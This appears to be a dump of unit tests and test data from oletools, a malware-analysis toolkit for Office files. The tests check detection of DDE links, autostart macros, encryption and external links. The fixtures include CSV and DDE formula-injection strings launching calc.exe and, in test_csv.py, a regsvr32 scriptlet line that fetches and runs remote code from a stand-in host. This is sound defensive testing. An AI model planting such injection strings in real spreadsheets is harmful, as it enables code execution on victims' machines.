-------------------------------------------------------------------------------- /tests/msodde/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/msodde/__init__.py -------------------------------------------------------------------------------- /tests/msodde/test_crypto.py: -------------------------------------------------------------------------------- 1 | """Check decryption of files from msodde works.""" 2 | 3 | import sys 4 | import unittest 5 | from os.path import basename, join as pjoin 6 | 7 | from tests.test_utils import DATA_BASE_DIR, call_and_capture 8 | 9 | from oletools import crypto 10 | 11 | 12 | @unittest.skipIf(not crypto.check_msoffcrypto(), 13 | 'Module msoffcrypto not installed for {}' 14 | .format(basename(sys.executable))) 15 | class MsoddeCryptoTest(unittest.TestCase): 16 | """Test integration of decryption in msodde.""" 17 | 18 | def test_standard_password(self): 19 | """Check dde-link is found in xls[mb] sample files.""" 20 | for suffix in 'xls', 'xlsx', 'xlsm', 'xlsb': 21 | example_file = pjoin(DATA_BASE_DIR, 'encrypted', 22 | 'dde-test-encrypt-standardpassword.' + suffix) 23 | output, _ = call_and_capture('msodde', [example_file, ]) 24 | self.assertIn('\nDDE Links:\ncmd /c calc.exe\n', output, 25 | msg='Unexpected output {!r} for {}' 26 | .format(output, suffix)) 27 | 28 | # TODO: add more, in particular a sample with a "proper" password 29 | 30 | 31 | if __name__ == '__main__': 32 | unittest.main() 33 | -------------------------------------------------------------------------------- /tests/msodde/test_csv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | 4 | """ Check various csv examples """ 5 | 6 | import unittest 7 | from tempfile import mkstemp 8 | import os 9 | from os.path import join 10 | 11 | from oletools import msodde 12 | from tests.test_utils import DATA_BASE_DIR 13 | 14 | 15 | class TestCSV(unittest.TestCase): 16 | """ Check various csv examples """ 17 | 18 | DO_DEBUG = False 19 | 20 | def test_texts(self): 21 | """ write some sample texts to file, run those """ 22 | SAMPLES = ( 23 | "=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''", 24 | "=MSEXCEL|'\\..\\..\\..\\Windows\\System32\\regsvr32 /s /n /u " + 25 | "/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''", 26 | "completely innocent text" 27 | ) 28 | 29 | LONG_SAMPLE_FACTOR = 100 # make len(sample) > CSV_SMALL_THRESH 30 | DELIMITERS = ',\t ;|^' 31 | QUOTES = '', '"' # no ' since samples use those "internally" 32 | PREFIXES = ('', '{quote}item-before{quote}{delim}', 33 | '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR, 34 | '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR + 35 | '{quote}item-before{quote}{delim}') 36 | SUFFIXES = ('', '{delim}{quote}item-after{quote}', 37 | '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR, 38 | '{delim}{quote}item-after{quote}' + 39 | '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR) 40 | 41 | for sample_core in SAMPLES: 42 | for prefix in PREFIXES: 43 | for suffix in SUFFIXES: 44 | for delim in DELIMITERS: 45 | for quote in QUOTES: 46 | # without quoting command is split at space or | 47 | if quote == '' and delim in sample_core: 48 | continue 49 | 50 | sample = \ 51 | prefix.format(quote=quote, delim=delim) + \ 52 | quote + sample_core + quote + delim + \ 53 | suffix.format(quote=quote, delim=delim) 54 | output = self.write_and_run(sample) 55 | n_links = len(self.get_dde_from_output(output)) 56 | desc = 'sample with core={0!r}, prefix-len {1}, ' \ 57 | 'suffix-len {2}, delim {3!r} and quote ' \ 58 | '{4!r}'.format(sample_core, len(prefix), 59 | len(suffix), delim, quote) 60 | if 'innocent' in sample: 61 | self.assertEqual(n_links, 0, 'found dde-link ' 62 | 'in clean sample') 63 | else: 64 | msg = 'Failed to find dde-link in ' + desc 65 | self.assertEqual(n_links, 1, msg) 66 | if self.DO_DEBUG: 67 | print('Worked: ' + desc) 68 | 69 | def test_file(self): 70 | """ test simple small example file """ 71 | filename = join(DATA_BASE_DIR, 'msodde', 'dde-in-csv.csv') 72 | output = msodde.process_file(filename, msodde.FIELD_FILTER_BLACKLIST) 73 | links = self.get_dde_from_output(output) 74 | self.assertEqual(len(links), 1) 75 | self.assertEqual(links[0], 76 | r"cmd '/k \..\..\..\Windows\System32\calc.exe'") 77 | 78 | def write_and_run(self, sample_text): 79 | """ helper for test_texts: save text to file, run through msodde """ 80 | filename = None 81 | handle = 0 82 | try: 83 | handle, filename = mkstemp(prefix='oletools-test-csv-', text=True) 84 | os.write(handle, sample_text.encode('ascii')) 85 | os.close(handle) 86 | handle = 0 87 | args = [filename, ] 88 | if self.DO_DEBUG: 89 | args += ['-l', 'debug'] 90 | 91 | processed_args = msodde.process_args(args) 92 | 93 | return msodde.process_file( 94 | processed_args.filepath, processed_args.field_filter_mode) 95 | 96 | except Exception: 97 | raise 98 | finally: 99 | if handle: 100 | os.close(handle) 101 | handle = 0 # just in case 102 | if filename: 103 | if self.DO_DEBUG: 104 | print('keeping for debug purposes: {0}'.format(filename)) 105 | else: 106 | os.remove(filename) 107 | filename = None # just in case 108 | 109 | @staticmethod 110 | def get_dde_from_output(output): 111 | """ helper to read dde links from captured output 112 | """ 113 | return [o for o in output.splitlines()] 114 | 115 | def test_regex(self): 116 | """ check that regex captures other ways to include dde commands 117 | 118 | from http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/ and/or 119 | https://www.contextis.com/blog/comma-separated-vulnerabilities 120 | """ 121 | kernel = "cmd|'/c calc'!A0" 122 | for wrap in '={0}', '@SUM({0})', '"={0}"', '+{0}', '-{0}': 123 | cmd = wrap.format(kernel) 124 | self.assertNotEqual(msodde.CSV_DDE_FORMAT.match(cmd), None) 125 | 126 | 127 | # just in case somebody calls this file as a script 128 | if __name__ == '__main__': 129 | unittest.main() 130 | -------------------------------------------------------------------------------- /tests/oleform/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/oleform/__init__.py -------------------------------------------------------------------------------- /tests/oleid/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/oleid/__init__.py -------------------------------------------------------------------------------- /tests/oleid/test_issue_166.py: -------------------------------------------------------------------------------- 1 | """ 2 | Test if oleid detects encrypted documents 3 | """ 4 | 5 | import unittest 6 | from os.path import join 7 | from tests.test_utils import DATA_BASE_DIR 8 | 9 | from oletools import oleid 10 | 11 | 12 | class TestEncryptedDocumentDetection(unittest.TestCase): 13 | def test_encrypted_document_detection(self): 14 | """ Run oleid and check if the document is flagged as encrypted """ 15 | filename = join(DATA_BASE_DIR, 'basic', 'encrypted.docx') 16 | 17 | oleid_instance = oleid.OleID(filename) 18 | indicators = oleid_instance.check() 19 | 20 | is_encrypted = next(i.value for i in indicators if i.id == 'encrypted') 21 | 22 | self.assertEqual(is_encrypted, True) 23 | 24 | 25 | # just in case somebody calls this file as a script 26 | if __name__ == '__main__': 27 | unittest.main() -------------------------------------------------------------------------------- /tests/oleobj/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/oleobj/__init__.py -------------------------------------------------------------------------------- /tests/oleobj/test_external_links.py: -------------------------------------------------------------------------------- 1 | """ Test that oleobj detects external links in relationships files. 2 | """ 3 | 4 | import unittest 5 | import os 6 | from os import path 7 | 8 | # Directory with test data, independent of current working directory 9 | from tests.test_utils import DATA_BASE_DIR, call_and_capture 10 | from oletools import oleobj 11 | 12 | BASE_DIR = path.join(DATA_BASE_DIR, 'oleobj', 'external_link') 13 | 14 | 15 | class TestExternalLinks(unittest.TestCase): 16 | def test_external_links(self): 17 | """ 18 | loop through sample files asserting that external links are found 19 | """ 20 | 21 | for dirpath, _, filenames in os.walk(BASE_DIR): 22 | for filename in filenames: 23 | file_path = path.join(dirpath, filename) 24 | 25 | output, ret_val = call_and_capture('oleobj', [file_path, ], 26 | accept_nonzero_exit=True) 27 | self.assertEqual(ret_val, oleobj.RETURN_DID_DUMP, 28 | msg='Wrong return value {} for {}. Output:\n{}' 29 | .format(ret_val, filename, output)) 30 | 31 | 32 | # just in case somebody calls this file as a script 33 | if __name__ == '__main__': 34 | unittest.main() 35 | -------------------------------------------------------------------------------- /tests/olevba/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/olevba/__init__.py -------------------------------------------------------------------------------- /tests/olevba/test_crypto.py: -------------------------------------------------------------------------------- 1 | """Check decryption of files from olevba works.""" 2 | 3 | import sys 4 | import unittest 5 | from os.path import basename, join as pjoin 6 | import json 7 | from collections import OrderedDict 8 | 9 | from tests.test_utils import DATA_BASE_DIR, call_and_capture 10 | 11 | from oletools import crypto 12 | 13 | 14 | @unittest.skipIf(not crypto.check_msoffcrypto(), 15 | 'Module msoffcrypto not installed for {}' 16 | .format(basename(sys.executable))) 17 | class OlevbaCryptoWriteProtectTest(unittest.TestCase): 18 | """ 19 | Test documents that are 'write-protected' through encryption. 20 | 21 | Excel has a way to 'write-protect' documents by encrypting them with a 22 | hard-coded standard password. When looking at the file-structure you see 23 | an OLE-file with streams `EncryptedPackage`, `StrongEncryptionSpace`, and 24 | `EncryptionInfo`. Contained in the first is the actual file. When opening 25 | such a file in excel, it is decrypted without the user noticing. 26 | 27 | Olevba should detect such encryption, try to decrypt with the standard 28 | password and look for VBA code in the decrypted file. 29 | 30 | All these tests are skipped if the module `msoffcrypto-tools` is not 31 | installed. 32 | """ 33 | def test_autostart(self): 34 | """Check that autostart macro is found in xls[mb] sample file.""" 35 | for suffix in 'xlsm', 'xlsb': 36 | example_file = pjoin( 37 | DATA_BASE_DIR, 'encrypted', 38 | 'autostart-encrypt-standardpassword.' + suffix) 39 | output, _ = call_and_capture('olevba', args=('-j', example_file), 40 | exclude_stderr=True) 41 | data = json.loads(output, object_pairs_hook=OrderedDict) 42 | # debug: json.dump(data, sys.stdout, indent=4) 43 | self.assertGreaterEqual(len(data), 3) 44 | 45 | # first 2 parts: general info about script and file 46 | self.assertIn('script_name', data[0]) 47 | self.assertIn('version', data[0]) 48 | self.assertEqual(data[0]['type'], 'MetaInformation') 49 | self.assertEqual(data[1]['container'], None) 50 | self.assertEqual(data[1]['file'], example_file) 51 | self.assertEqual(data[1]['analysis'], None) 52 | self.assertEqual(data[1]['macros'], []) 53 | self.assertEqual(data[1]['type'], 'OLE') 54 | self.assertTrue(data[1]['json_conversion_successful']) 55 | 56 | for entry in data[2:]: 57 | if entry['type'] in ('msg', 'warning'): 58 | continue 59 | result = entry 60 | break 61 | 62 | # last part is the actual result 63 | self.assertEqual(result['container'], example_file) 64 | self.assertNotEqual(result['file'], example_file) 65 | self.assertEqual(result['type'], "OpenXML") 66 | analysis = result['analysis'] 67 | self.assertEqual(analysis[0]['type'], 'AutoExec') 68 | self.assertEqual(analysis[0]['keyword'], 'Auto_Open') 69 | macros = result['macros'] 70 | self.assertEqual(macros[0]['vba_filename'], 'Modul1.bas') 71 | self.assertIn('Sub Auto_Open()', macros[0]['code']) 72 | self.assertTrue(result['json_conversion_successful']) 73 | 74 | 75 | if __name__ == '__main__': 76 | unittest.main() 77 | -------------------------------------------------------------------------------- /tests/ooxml/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/ooxml/__init__.py -------------------------------------------------------------------------------- /tests/ppt_parser/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/ppt_parser/__init__.py -------------------------------------------------------------------------------- /tests/ppt_parser/test_basic.py: -------------------------------------------------------------------------------- 1 | """ Test ppt_parser and ppt_record_parser """ 2 | 3 | import unittest 4 | import os 5 | from os.path import join, splitext 6 | 7 | # Directory with test data, independent of current working directory 8 | from tests.test_utils import DATA_BASE_DIR 9 | 10 | from oletools import ppt_record_parser 11 | # ppt_parser not tested yet 12 | 13 | 14 | class TestBasic(unittest.TestCase): 15 | """ test basic functionality of ppt parsing """ 16 | 17 | def test_is_ppt(self): 18 | """ test ppt_record_parser.is_ppt(filename) """ 19 | exceptions = ['encrypted.ppt', ] # actually is ppt but embedded 20 | for base_dir, _, files in os.walk(DATA_BASE_DIR): 21 | for filename in files: 22 | if filename in exceptions: 23 | continue 24 | full_name = join(base_dir, filename) 25 | extn = splitext(filename)[1] 26 | if extn in ('.ppt', '.pps', '.pot'): 27 | self.assertTrue(ppt_record_parser.is_ppt(full_name), 28 | msg='{0} not recognized as ppt file' 29 | .format(full_name)) 30 | else: 31 | self.assertFalse(ppt_record_parser.is_ppt(full_name), 32 | msg='{0} erroneously recognized as ppt' 33 | .format(full_name)) 34 | 35 | 36 | # just in case somebody calls this file as a script 37 | if __name__ == '__main__': 38 | unittest.main() 39 | -------------------------------------------------------------------------------- /tests/rtfobj/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/rtfobj/__init__.py -------------------------------------------------------------------------------- /tests/rtfobj/test_is_rtf.py: -------------------------------------------------------------------------------- 1 | """ Test rtfobj.is_rtf """ 2 | 3 | from __future__ import print_function 4 | 5 | import unittest 6 | from os.path import join 7 | from os import walk 8 | 9 | from oletools.rtfobj import is_rtf, RTF_MAGIC 10 | 11 | # Directory with test data, independent of current working directory 12 | from tests.test_utils import DATA_BASE_DIR 13 | 14 | 15 | class TestIsRtf(unittest.TestCase): 16 | """ Tests rtfobj.is_rtf """ 17 | 18 | def test_bytearray(self): 19 | """ test that is_rtf works with bytearray """ 20 | self.assertTrue(is_rtf(bytearray(RTF_MAGIC + b'asdfasdfasdfasdfasdf'))) 21 | self.assertFalse(is_rtf(bytearray(RTF_MAGIC.upper() + b'asdfasdasdff'))) 22 | self.assertFalse(is_rtf(bytearray(b'asdfasdfasdfasdfasdfasdfsdfsdfa'))) 23 | 24 | def test_bytes(self): 25 | """ test that is_rtf works with bytearray """ 26 | self.assertTrue(is_rtf(RTF_MAGIC + b'asasdffdfasdfasdfasdfasdf', True)) 27 | self.assertFalse(is_rtf(RTF_MAGIC.upper() + b'asdffasdfasdasdff', True)) 28 | self.assertFalse(is_rtf(b'asdfasdfasdfasdfasdfasdasdfffsdfsdfa', True)) 29 | 30 | def test_tuple(self): 31 | """ test that is_rtf works with byte tuples """ 32 | data = tuple(byte_char for byte_char in RTF_MAGIC + b'asdfasfadfdfsdf') 33 | self.assertTrue(is_rtf(data)) 34 | 35 | data = tuple(byte_char for byte_char in RTF_MAGIC.upper() + b'asfasdf') 36 | self.assertFalse(is_rtf(data)) 37 | 38 | data = tuple(byte_char for byte_char in b'asdfasfassdfsdsfeereasdfwdf') 39 | self.assertFalse(is_rtf(data)) 40 | 41 | def test_iterable(self): 42 | """ test that is_rtf works with byte iterables """ 43 | data = (byte_char for byte_char in RTF_MAGIC + b'asdfasfasasdfasdfddf') 44 | self.assertTrue(is_rtf(data)) 45 | 46 | data = (byte_char for byte_char in RTF_MAGIC.upper() + b'asdfassfasdf') 47 | self.assertFalse(is_rtf(data)) 48 | 49 | data = (byte_char for byte_char in b'asdfasfasasdfasdfasdfsdfdwerwedf') 50 | self.assertFalse(is_rtf(data)) 51 | 52 | def test_files(self): 53 | """ test on real files """ 54 | for base_dir, _, files in walk(DATA_BASE_DIR): 55 | for filename in files: 56 | full_path = join(base_dir, filename) 57 | expect = filename.endswith('.rtf') 58 | self.assertEqual(is_rtf(full_path), expect, 59 | 'is_rtf({0}) did not return {1}' 60 | .format(full_path, expect)) 61 | with open(full_path, 'rb') as handle: 62 | self.assertEqual(is_rtf(handle), expect, 63 | 'is_rtf(open({0})) did not return {1}' 64 | .format(full_path, expect)) 65 | 66 | 67 | # just in case somebody calls this file as a script 68 | if __name__ == '__main__': 69 | unittest.main() 70 | -------------------------------------------------------------------------------- /tests/rtfobj/test_issue_185.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from os.path import join 3 | from tests.test_utils import testdata_reader 4 | from oletools import rtfobj 5 | 6 | 7 | class TestRtfObjIssue185(unittest.TestCase): 8 | def test_skip_space_after_bin_control_word(self): 9 | data = testdata_reader.read_encrypted(join('rtfobj', 'issue_185.rtf.zip')) 10 | rtfp = rtfobj.RtfObjParser(data) 11 | rtfp.parse() 12 | objects = rtfp.objects 13 | 14 | self.assertTrue(len(objects) == 1) 15 | 16 | 17 | if __name__ == '__main__': 18 | unittest.main() 19 | -------------------------------------------------------------------------------- /tests/rtfobj/test_issue_251.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from os.path import join 3 | from tests.test_utils import testdata_reader 4 | from oletools import rtfobj 5 | 6 | 7 | class TestRtfObjIssue251(unittest.TestCase): 8 | def test_bin_no_param(self): 9 | data = testdata_reader.read(join('rtfobj', 'issue_251.rtf')) 10 | rtfp = rtfobj.RtfObjParser(data) 11 | rtfp.parse() 12 | objects = rtfp.objects 13 | 14 | self.assertTrue(len(objects) == 1) 15 | 16 | 17 | if __name__ == '__main__': 18 | unittest.main() 19 | -------------------------------------------------------------------------------- /tests/test-data/basic/empty: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/basic/empty -------------------------------------------------------------------------------- /tests/test-data/basic/encrypted.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/basic/encrypted.docx -------------------------------------------------------------------------------- /tests/test-data/basic/text: -------------------------------------------------------------------------------- 1 | bla 2 | -------------------------------------------------------------------------------- /tests/test-data/encrypted/autostart-encrypt-standardpassword.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/autostart-encrypt-standardpassword.xls -------------------------------------------------------------------------------- /tests/test-data/encrypted/autostart-encrypt-standardpassword.xlsb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/autostart-encrypt-standardpassword.xlsb -------------------------------------------------------------------------------- /tests/test-data/encrypted/autostart-encrypt-standardpassword.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/autostart-encrypt-standardpassword.xlsm -------------------------------------------------------------------------------- /tests/test-data/encrypted/dde-test-encrypt-standardpassword.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/dde-test-encrypt-standardpassword.xls -------------------------------------------------------------------------------- /tests/test-data/encrypted/dde-test-encrypt-standardpassword.xlsb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/dde-test-encrypt-standardpassword.xlsb -------------------------------------------------------------------------------- /tests/test-data/encrypted/dde-test-encrypt-standardpassword.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/dde-test-encrypt-standardpassword.xlsm -------------------------------------------------------------------------------- /tests/test-data/encrypted/dde-test-encrypt-standardpassword.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/dde-test-encrypt-standardpassword.xlsx -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.doc -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.docm -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.docx -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.ppt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.ppt -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.pptm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.pptm -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.pptx -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.xls -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.xlsb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.xlsb -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.xlsm -------------------------------------------------------------------------------- /tests/test-data/encrypted/encrypted.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/encrypted/encrypted.xlsx -------------------------------------------------------------------------------- /tests/test-data/excel4-macros/excel4_sample_macro.slk: -------------------------------------------------------------------------------- 1 | ID;PWXL;N;E 2 | P;PGeneral 3 | P;P0 4 | P;P0.00 5 | P;P#,##0 6 | P;P#,##0.00 7 | P;P#,##0;;\-#,##0 8 | P;P#,##0;;[Red]\-#,##0 9 | P;P#,##0.00;;\-#,##0.00 10 | P;P#,##0.00;;[Red]\-#,##0.00 11 | P;P#,##0\ "$";;\-#,##0\ "$" 12 | P;P#,##0\ "$";;[Red]\-#,##0\ "$" 13 | P;P#,##0.00\ "$";;\-#,##0.00\ "$" 14 | P;P#,##0.00\ "$";;[Red]\-#,##0.00\ "$" 15 | P;P0% 16 | P;P0.00% 17 | P;P0.00E+00 18 | P;P##0.0E+0 19 | P;P#" "?/? 20 | P;P#" "??/?? 21 | P;Pdd/mm/yyyy 22 | P;Pdd\-mmm\-yy 23 | P;Pdd\-mmm 24 | P;Pmmm\-yy 25 | P;Ph:mm\ AM/PM 26 | P;Ph:mm:ss\ AM/PM 27 | P;Phh:mm 28 | P;Phh:mm:ss 29 | P;Pdd/mm/yyyy\ hh:mm 30 | P;Pmm:ss 31 | P;Pmm:ss.0 32 | P;P@ 33 | P;P[h]:mm:ss 34 | P;P_-* #,##0\ "$"_-;;\-* #,##0\ "$"_-;;_-* "-"\ "$"_-;;_-@_- 35 | P;P_-* #,##0_-;;\-* #,##0_-;;_-* "-"_-;;_-@_- 36 | P;P_-* #,##0.00\ "$"_-;;\-* #,##0.00\ "$"_-;;_-* "-"??\ "$"_-;;_-@_- 37 | P;P_-* #,##0.00_-;;\-* #,##0.00_-;;_-* "-"??_-;;_-@_- 38 | P;FCalibri;M220;L9 39 | P;FCalibri;M220;L9 40 | P;FCalibri;M220;L9 41 | P;FCalibri;M220;L9 42 | P;ECalibri;M220;L9 43 | P;ECalibri Light;M360;L55 44 | P;ECalibri;M300;SB;L55 45 | P;ECalibri;M260;SB;L55 46 | P;ECalibri;M220;SB;L55 47 | P;ECalibri;M220;L18 48 | P;ECalibri;M220;L21 49 | P;ECalibri;M220;L61 50 | P;ECalibri;M220;L63 51 | P;ECalibri;M220;SB;L64 52 | P;ECalibri;M220;SB;L53 53 | P;ECalibri;M220;L53 54 | P;ECalibri;M220;SB;L10 55 | P;ECalibri;M220;L11 56 | P;ECalibri;M220;SI;L24 57 | P;ECalibri;M220;SB;L9 58 | P;ECalibri;M220;L10 59 | P;ESegoe UI;M200;L9 60 | F;P0;DG0G8;E;M292 61 | B;Y2;X1;D0 0 1 0 62 | O;L;E;D;V0;K47;G100 0.001 63 | F;W1 1 17 64 | F;W2 16384 9 65 | NN;NAuto_Open;ER1C1 66 | C;Y1;X1;KFALSE;EALERT("This is a sample Excel 4 macro") 67 | C;Y2;KTRUE;EHALT() 68 | E 69 | -------------------------------------------------------------------------------- /tests/test-data/excel4-macros/excel4_sample_macro.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/excel4-macros/excel4_sample_macro.xls -------------------------------------------------------------------------------- /tests/test-data/excel4-macros/excel4_sample_macro.xlsb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/excel4-macros/excel4_sample_macro.xlsb -------------------------------------------------------------------------------- /tests/test-data/excel4-macros/excel4_sample_macro.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/excel4-macros/excel4_sample_macro.xlsm -------------------------------------------------------------------------------- /tests/test-data/excel4-macros/excel4_sample_macro.xlt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/excel4-macros/excel4_sample_macro.xlt -------------------------------------------------------------------------------- /tests/test-data/excel4-macros/excel4_sample_macro.xltm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/excel4-macros/excel4_sample_macro.xltm -------------------------------------------------------------------------------- /tests/test-data/excel4-macros/excel4_sample_macro_excel5_format.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/test-data/excel4-macros/excel4_sample_macro_excel5_format.xls -------------------------------------------------------------------------------- /tests/test-data/msodde/dde-in-csv.csv: -------------------------------------------------------------------------------- 1 | =cmd|'/k \..\..\..\Windows\System32\calc.exe'!A0 2 | -------------------------------------------------------------------------------- /tests/test-data/msodde/dde-in-excel2003.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 9 | user 10 | user 11 | 2018-01-04T17:55:47Z 12 | 11.9999 13 | 14 | 15 | 16 | cmd|/c calc.exe 17 | 18 | A1 19 | 20 | 21 | 22 | StdDocumentName 23 | 24 | 25 | 26 | 27 | 12840 28 | 15315 29 | 360 30 | 105 31 | False 32 | False 33 | 34 | 35 | 43 | 44 | 45 | 47 | 48 | This spread sheet has a dde link which starts calc.exe 49 | 50 | 51 | #REF! 52 | 53 |
54 | 55 | 56 |
57 |